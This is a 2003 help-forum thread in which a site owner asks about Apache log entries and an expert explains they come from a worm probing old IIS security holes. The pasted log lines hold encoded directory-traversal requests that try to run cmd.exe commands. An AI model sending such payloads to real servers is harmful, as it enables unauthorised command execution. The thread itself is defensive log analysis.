Solved

apache logs

Posted on 2003-10-24
2
229 Views
Last Modified: 2010-03-04
i have the following in my apache logs ... waht does this mean ?

pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 214
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 212
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 269
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236
pcp01484720pcs.limstn01.de.comcast.net - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236

thanks in advance
0
Comment
Question by:sanctify
2 Comments
 
LVL 17

Accepted Solution

by:
dorward earned 50 total points
ID: 9619497
It means someone (or more likely someTHING [a worm]) is trying to exploit security holes in Microsoft's contribution to the webserver market.

Apache users don't need to worry about it, other then the slightly untity log files.

IIS users should switch to Apache (or install all the security patches).
0
 
LVL 1

Author Comment

by:sanctify
ID: 9621405
ok thanks .. its good to know im secure with apache
0

Featured Post

Do You Know the 4 Main Threat Actor Types?

Do you know the main threat actor types? Most attackers fall into one of four categories, each with their own favored tactics, techniques, and procedures.

Join & Write a Comment

In my time as an SEO for the last 2 years and in the questions I have assisted with on here I have always seen the need to redirect from non-www urls to their www versions. For instance redirecting http://domain.com (http://domain.com) to http…
It is possible to boost certain documents at query time in Solr. Query time boosting can be a powerful resource for finding the most relevant and "best" content. Of course the more information you index, the more fields you will be able to use for y…
Excel styles will make formatting consistent and let you apply and change formatting faster. In this tutorial, you'll learn how to use Excel's built-in styles, how to modify styles, and how to create your own. You'll also learn how to use your custo…
This tutorial demonstrates a quick way of adding group price to multiple Magento products.

708 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

11 Experts available now in Live!

Get 1:1 Help Now